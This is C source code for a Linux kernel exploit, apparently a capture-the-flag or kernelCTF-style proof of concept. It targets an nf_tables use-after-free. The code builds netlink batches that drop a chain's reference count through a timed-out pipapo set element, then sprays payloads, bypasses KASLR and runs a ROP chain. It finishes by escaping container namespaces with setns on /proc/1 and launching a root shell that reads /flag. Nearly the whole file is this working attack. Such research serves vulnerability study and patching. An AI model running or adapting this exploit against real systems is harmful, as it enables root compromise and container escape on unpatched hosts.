#define _GNU_SOURCE
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/sysinfo.h>
#include <linux/netlink.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter/nf_tables_compat.h>
#include <netlink/msg.h>
#include <netlink/attr.h>
#include <netlink/netlink.h>
#include <netlink/netfilter/nfnl.h>
#include <arpa/inet.h>
#include <linux/filter.h>
#include <linux/netfilter.h>
#include <linux/rtnetlink.h>
#include <linux/netfilter_ipv4/ip_tables.h>
#include <syscall.h>
#include <stdarg.h>
#include <sched.h>
#include <signal.h>
#include <fcntl.h>
#include <sys/mman.h>


#include "setelem.h"
#include "table.h"
#include "set.h"
#include "chain.h"
#include "rule.h"
#include "poc.h"

#define PIPAPO_SET_KEY_LEN 0x40

int cur_handle = 0;

void pin_on_cpu(int cpu) {
  cpu_set_t cpu_set;
  CPU_ZERO(&cpu_set);
  CPU_SET(cpu, &cpu_set);
  if (sched_setaffinity(0, sizeof(cpu_set), &cpu_set) != 0) {
    perror("sched_setaffinity()");
    exit(EXIT_FAILURE);
  }
}

void send_msg_list(struct nl_sock * socket, struct nlmsghdr **msg_list, int num){
    struct nl_msg * msg = nlmsg_alloc();
    struct nlmsghdr *hdr1 = nlmsg_put(
            msg,
            NL_AUTO_PORT, // auto assign current pid
            NL_AUTO_SEQ, // begin wit seq number 0
            NFNL_MSG_BATCH_BEGIN,   // TYPE
            sizeof(struct nfgenmsg),
            NLM_F_REQUEST 
    );
    struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg));
    h->nfgen_family = 2;//NFPROTO_IPV4
    h->version = 0;
    h->res_id = NFNL_SUBSYS_NFTABLES;
    memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg));
    struct nl_msg * msg3 = nlmsg_alloc();
    struct nlmsghdr *hdr3 = nlmsg_put(
            msg3,
            NL_AUTO_PORT, // auto assign current pid
            NL_AUTO_SEQ, // begin wit seq number 0
            NFNL_MSG_BATCH_END,// TYPE
            sizeof(struct nfgenmsg),
            NLM_F_REQUEST 
    );
    uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len);
    int i;
    for(i=0;i<num;i++){
    	total_size = total_size + NLMSG_ALIGN(msg_list[i]->nlmsg_len);
    }
    char *buf = malloc(total_size);
    memset(buf, 0, total_size);
    memcpy(buf, hdr1, NLMSG_ALIGN(hdr1->nlmsg_len));
    char *off = buf + NLMSG_ALIGN(hdr1->nlmsg_len);
    for(i=0;i<num;i++){
    	memcpy(off, msg_list[i], NLMSG_ALIGN(msg_list[i]->nlmsg_len));
	off = off + NLMSG_ALIGN(msg_list[i]->nlmsg_len);
    }
    memcpy(off, hdr3, NLMSG_ALIGN(hdr3->nlmsg_len));
    int res = nl_sendto(socket, buf, total_size);
    if (res < 0) {
        printf("sending message failed\n");
    }
}

//make target_chain->use = target_chain->use - 1
void primitive_decrease_nft_chain_use(struct nl_sock *socket, char *table, char *target_chain){
    char *pad = malloc(0x100);
    memset(pad,0x41,0x100);
    int i;
    struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*0x200);
    char *set_name = "set for primitive1";
    char *chain_name = "chain for primitive1";
    char *key = malloc(0x40);
    msg_list[0] = new_set_pipapo_for_timeout_and_chain_with_anonymous_msg(table, set_name, PIPAPO_SET_KEY_LEN);
    msg_list[1] = new_chain_msg(table, chain_name, 0);
    //len(NFTA_SET_ELEM_USERDATA) = 0xc0 There is no special meaning here.
    //expiration_time = 0x0100000000000000 which will be convert to 1 in kernel. we chose 1 because we hope the set element created by message 2 will time out when the vulnerability is triggered.
    msg_list[2] = new_setelem_with_chain_and_expiration_msg(table, set_name, pad, 0xc0, target_chain, NULL, 0, NULL, 0, 1,0x0100000000000000);
    msg_list[3] = new_rule_lookup_for_chain_msg(table, chain_name, set_name, 1);
    msg_list[4] = del_chain_msg(table, chain_name);
    char *tmp = malloc(0x40);
    for(i=0;i<0x100;i++){
	snprintf(tmp, 0x40, "table for primitive %d", i);
	//len(NFTA_TABLE_USERDATA) = 0xc0 There is no special meaning here.
    	msg_list[5+i] = new_table_with_udata_msg(tmp, key, 0x40);
    }
    
    send_msg_list(socket, msg_list, 0x105);

    free(msg_list);
    free(pad);
}

void exploit(int64_t kernel_off){
    //fd to spray payloads
    int spray_fd;
    spray_fd = socket(AF_INET, SOCK_STREAM, 0);
    if(spray_fd < 0){
    	printf("Get spray_fd fail.\n");
	return;
    }

    // mmap an isolated page which will fault when over-read
    payload_page = mmap((void*)0xAAAAA000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
    if(payload_page == MAP_FAILED){
    	printf("mmap fail.\n");
	return;
    }
    // fd to trigger payload
    int s;
    s = socket(AF_INET, SOCK_DGRAM, 0);
    if(s<0){
    	printf("socket fail.\n");
	return;
    }
    struct sockaddr_in dst = {};
    dst.sin_port = 9999;
    inet_aton("127.0.0.1", &dst.sin_addr);

    struct nl_sock * socket = nl_socket_alloc();

    if(nfnl_connect(socket)<0){
        printf("nfnl_connect fail!\n");
        return 0;
    }
    //create new table
    char *table = "table for exploit";
    new_table(socket, table);
    //create new set
    char *pipapo_set = "pipapo set for exploit";
    new_set_pipapo_for_chain(socket,table, pipapo_set, 0x40);
    //create new chain A
    char *chain_a = "chain A";
    new_chain_with_hook(socket, table, chain_a, NF_INET_LOCAL_IN, 0);
    //create new chain B
    char *chain_b = "chain B";
    new_chain(socket, table, chain_b, 0);
    //create new rule RETURN to chain B
    new_rule_immediate(socket, table, chain_b, NFT_RETURN, NULL);
    //create new rule JUMP chain B to chain A
    new_rule_immediate(socket, table, chain_a, NFT_JUMP, chain_b);
    // Now we need to blow up chain B, the allocation needs to be larger than 4096.
    // We will simply add NFT_CONTINUE immediate expressions, for no specific reason.
    // Directly add 0x80 rules to meet the requirements
    struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*0x80);
    for(int i=0;i<0x80;i++){
    	msg_list[i] = new_rule_immediate_msg(table, chain_b, NFT_CONTINUE, NULL);
    }
    send_msg_list(socket, msg_list, 0x80);
    
    sleep(1);//Waiting the function nf_tables_commit
    //Trigger vul. 
    primitive_decrease_nft_chain_use(socket, table, chain_b);
    del_chain(socket, table, chain_b);
    sleep(1);//Waiting the function nft_commit_release which finally call nf_tables_chain_destroy
    
    printf("spraying payloads ..\n");
    if (spray_payload(spray_fd) < 0) {
    	exit(1);
    }
    setup_cpu_entry_area(kernel_off);
    // wait for it to complete
    sleep(1);
    // Trigger the payload ..
    sendto(s, rop_chain_rsi, sizeof(rop_chain_rsi), 0, (struct sockaddr*)&dst, sizeof(dst));
    // if we made it this far, we hopefully succeeded:
    setns(open("/proc/1/ns/mnt", O_RDONLY), 0);
    setns(open("/proc/1/ns/pid", O_RDONLY), 0);
    setns(open("/proc/1/ns/net", O_RDONLY), 0);
    char* shell[] = {
      "/bin/sh",
      "-c",
      "/bin/cat /flag && /bin/sh",
      NULL,
    };
    execve(shell[0], shell, NULL);
    exit(1);
    
}

int main(void) {
    sandbox();
    pin_on_cpu(0);
    int64_t kernel_off = bypass_kaslr(0);
    setup_registers(&payload,kernel_off);
    setup_rop_chain(&payload,kernel_off);
    exploit(kernel_off);
    return 0;
}
